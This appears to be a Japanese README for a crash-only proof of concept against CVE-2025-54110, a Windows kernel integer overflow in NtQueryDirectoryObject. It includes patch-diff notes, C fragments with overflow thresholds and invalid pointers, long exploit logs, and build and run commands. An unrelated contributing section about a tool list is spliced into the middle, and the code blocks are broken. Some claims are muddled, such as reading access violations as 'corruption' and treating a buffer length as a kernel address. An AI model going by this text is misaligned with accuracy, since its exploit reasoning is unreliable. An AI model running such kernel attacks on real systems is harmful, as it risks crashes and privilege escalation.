
プロジェクト日付 : 2025年10月 / CVE-2025-54110 の PoC 実装:Windows `NtQueryDirectoryObject` システムコールにおけるカーネルレベルの整数オーバーフロー脆弱性
CVE-2025-54110 のPoC実装。Windowsのシステムコール NtQueryDirectoryObject におけるカーネルレベルの整数オーバーフロー脆弱性。
CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
このリポジトリには、CVE-2025-54110 カーネル EoP 脆弱性の Crash-Only PoC が含まれています。これは、セキュリティ研究、リバースエンジニアリング、エクスプロイト開発研究 のみを目的として開発されました。このコードは、以下のような脆弱性研究手法を示すことを目的としています。
このPoCは、特権昇格や確実なBSODを達成するものではありません。これは、Windows カーネル保護機能によって捕捉されるアクセス違反を安全にトリガーするように設計されています。
公開日: 2025年9月 (Windows 火曜日のセキュリティパッチ)
| プロパティ | 値 |
|---|
| CWE | CWE-190: 整数オーバーフローまたはラップアラウンド |
| CVSS 3.1 スコア | 8.8 (高) / 7.7 (時間的) |
| ベクター文字列 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| 攻撃元区分 | ローカル |
| 攻撃条件の複雑さ | 低 |
| 必要な特権レベル | 低 |
| ユーザー操作 | 不要 |
| スコープ | 変更あり |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |
| エクスプロイトの成熟度 | 未実証 |
Windows カーネルの整数オーバーフロー脆弱性により、認証された攻撃者がローカルで特権を昇格させる可能性があります。Microsoft のアドバイザリによると:
「攻撃者は、サンドボックス化されたユーザーモードプロセスから特別に細工された入力を送信して整数オーバーフローをトリガーし、カーネル内でバッファオーバーフローを引き起こし、特権昇格やサンドボックスエスケープを可能にする可能性があります。」
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison
### 2. 分析対象ファイル
初期分析では、以下の2つの主要なカーネルコンポーネントに焦点を当てました:
#### win32k.sys (-)
- **結果:** 有意な変更は検出されませんでした
- **スコア範囲:** 0.97-1.0 (高い類似度)
- **結論:** CVE-2025-54110の脆弱性コンポーネントではありません
#### ntoskrnl.exe (+)
- **結果:** 有意な変更を含む複数の関数を検出
- **スコア範囲:** スコア ≤0.951 の関数
- **長さの差異:** ソースとデスティネーションのバイト長に変動あり
- **エクスポート項目数:** 分析用に2,036個の関数
### 3. Ghidra バージョントラッキング結果
`ntoskrnl.exe` で特定された変更のサンプル:
| スコア | 信頼度 | ソース長 | デスティネーション長 | ソース関数 | デスティネーション関数 |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
---
## PoCの説明
### 技術的アプローチ
PoC(`precise_overflow_bsod.c`)は、以下の方法で整数オーバーフローの脆弱性をトリガーしようとします:
1. **精密なしきい値計算:** `0xfffffdbc`(base=0x20、name=0x200から導出)
2. **NtQueryDirectoryObject API:** オーバーフローをトリガーするターゲット関数
3. **多段階攻撃戦略:**
- フェーズ1: 精密な整数オーバーフローの試行
- フェーズ2: カーネルメモリのターゲティング
- フェーズ3: マルチスレッドによるエクスプロイト
### コード構造```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state
---
## PoC がシステムをクラッシュさせない理由
### 実際の結果
PoC は一貫して `STATUS_ACCESS_VIOLATION (0xC0000005)` を返し、ブルースクリーンオブデス (BSOD) は発生しません。これは **設計上の意図** であり、Windows カーネルのいくつかの重要なセキュリティメカニズムを示しています。
### 1. 構造化例外処理 (SEH)```
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
動作する理由:
カーネルモード(Ring 0)が明示的な許可なしにユーザーモード(Ring 3)のメモリにアクセスするのを防ぐ最新のCPU機能:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler
**PoCへの影響:**
- オーバーフローが発生しても、カーネルからユーザーへの直接メモリアクセスはブロックされます
- ポインタ参照外しの脆弱性の悪用を防ぎます
### 3. KASLR (Kernel Address Space Layout Randomization)```
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
Why BSOD doesn't occur:
Windows 10以上では拡張されたプール破損検出が実装されています:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally
---
## PoC実行出力分析
### 期待される出力
`STATUS_ACCESS_VIOLATION (0xC0000005)` が表示されれば、問題ありません。```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...
### 観測された動作```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
Status Code: 0xC0000005 = STATUS_ACCESS_VIOLATION
| 側面 | 解釈 |
|---|---|
| 脆弱性の確認 | (+) コードパスが脆弱な関数に到達 |
| 入力検証 | (!) 細工された入力が異常な動作を引き起こす |
| システムの安定性 | (+) SEHがクラッシュを防止; システムは安定したまま |
| DoS達成 | (-) BSODなし; 例外処理が成功 |
| EoP達成 | (-) 特権昇格なし; 制御された障害 |
┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘
---
## 教育的価値
### このPoCが示すもの
#### 成果
1. **パッチ差分解析手法**
- Ghidraを使用した修正前後のバイナリ比較
- バージョントラッキングによる変更された関数の特定
- スコアベースの類似度指標の分析
2. **Windowsカーネルアーキテクチャ**
- システムコールの流れ(`NtQueryDirectoryObject`)の理解
- カーネル/ユーザーモード境界の認識
- NTAPI内部関数の学習
3. **セキュリティ機構の動作**
- SEHの動作:例外キャッチ vs システムクラッシュ
- SMAPによる不正なメモリアクセスの防止
- KASLRによる静的アドレス攻撃の無効化
4. **脆弱性調査プロセス**
- CVE分析と情報収集
- バイナリ変更のリバースエンジニアリング
- 制御された攻撃試行による仮説検証
#### 制限事項
1. **現代のカーネル保護は効果的**
- 単純なオーバーフロー試行では不十分
- 複数の防御層を突破する必要がある
- 静的解析だけでは悪用可能性を予測できない
2. **理論と実践のギャップ**
- 整数オーバーフローは存在する(理論上)
- 実践的な悪用には以下が必要:
- 情報漏洩(カーネルアドレスのリーク)
- ヒープ整形/ Feng Shui
- ROPチェーンまたはその他のコード実行プリミティブ
- DEP、CFG、HVCIなどの回避
---
## 分析の優先関数
CVE-2025-54110の特性(整数オーバーフロー→カーネル内のバッファオーバーフロー)に基づき、エクスポートされたCSV内で以下を処理する関数を優先的にレビューします。
### 高優先度カテゴリ```yaml
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
ステップ1: スコアベースのフィルター``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)
**ステップ2: キーワード検索**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
ステップ 3: 相互参照分析``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]
**ステップ4: マグニチュード変更**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
### コンパイル```bash
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
皆様の貢献を歓迎します!あなたのツールをコレクションに追加する場合は、提出物を含むプルリクエスト(PR)を開いてください。
ツールリストは /data フォルダにあることに注意してください。便宜上、2つのテンプレートがあります:何らかの方法で攻撃をシミュレートするツールはルート /data ディレクトリに、攻撃の検出や軽減を行うツールは data/subcategory ディレクトリに追加します。
| パラメータ | 型 | 説明 | 例 |
|---|---|---|---|
Name | String | ツールの名前。 | "CyberChef" |
Link | String | ツールのウェブページまたはリポジトリへのリンク。 | "https://github.com/gchq/CyberChef" |
Description | String | ツールの簡単な説明。 | "A web app for encryption, encoding, compression and data analysis." |
Author | String | 作者の名前またはニックネーム(複数可)。 | "GCHQ" |
Tags | String | 示されている正確な形式のタグのリスト。 | "crypto, forensics" |
リストへの追加はアルファベット順に行う必要があります。```bash
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
### 実行```powershell
# Run with admin privileges
.\poc64.exe
期待される出力:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.
## リソースと参考文献
### 公式ソース
- [Microsoft セキュリティアドバイザリ - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: 整数オーバーフローまたはラップアラウンド](https://cwe.mitre.org/data/definitions/190.html)
- [Windows カーネル内部 - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)
### 研究ツール
- [Ghidra - NSA ソフトウェアリバースエンジニアリングスイート](https://ghidra-sre.org/)
- [WinDbg - Windows デバッグツール](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)
### 関連資料
- [カーネルエクスプロイト開発](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Windows カーネルエクスプロイト](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Ghidra を使ったパッチ差分解析](https://www.youtube.com/watch?v=K83T7iVla5s)
---
## 法的免責事項
このコードは教育目的のみで提供されています。
このコードを以下の目的で使用しないでください:
• コンピュータシステムへの不正アクセス
• 悪意のある攻撃または損害
• 違法行為
著者は誤用に対する一切の責任を負いません。
ユーザーはすべての適用される法律を遵守しなければなりません。
**このコードを使用することにより、以下の事項を認めたことになります:**
1. 対象システムでテストする権限があること
2. あなたの管轄区域における法的影響を理解していること
3. 自分の行動に対する全責任を負うこと
4. これは学習のためであり、悪意のある活動ではないこと
---
## 法的免責事項
このリポジトリは、管理されたラボ環境における教育、防御的なセキュリティ研究、および脆弱性再現の目的に限定して提供されます。
この情報と概念実証コードは、防御者、研究者、ベンダーが報告された脆弱性を理解し、修正するのを支援することを目的としています。
明示的な許可なしにシステムに対してこのコードを不正にまたは悪意を持って使用することは、適用される法律や規制に違反する可能性があります。
著者は違法行為を奨励または容認するものではなく、この素材の誤用または損害に対する責任を負いません。
この脆弱性開示報告書は以下の目的で提供されます:
1. セキュリティ研究と教育
2. ベンダーへの通知とパッチ開発
3. エンドユーザーの保護
4. 学術的および防御的なセキュリティ目的
**禁止される使用法:**
- コンピュータシステムへの不正アクセス
- 悪意のあるエクスプロイト
- 違法行為
研究者はすべてのテストを管理された環境で個人所有のシステム上で実施しました。第三者システムへの不正アクセスは行われていません。
**レポートバージョン:** 1.0
**最終更新日:** 2026年2月9日
---
## 連絡先
正当なセキュリティ研究の問い合わせや教育協力については:
**責任ある開示:**
- このPoCのセキュリティ問題 → GitHub Issueを開く
- 実際のCVE-2025-54110のエクスプロイト → [MSRC](https://msrc.microsoft.com/)に報告
---
## ライセンス
---```
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty.
Use at your own risk.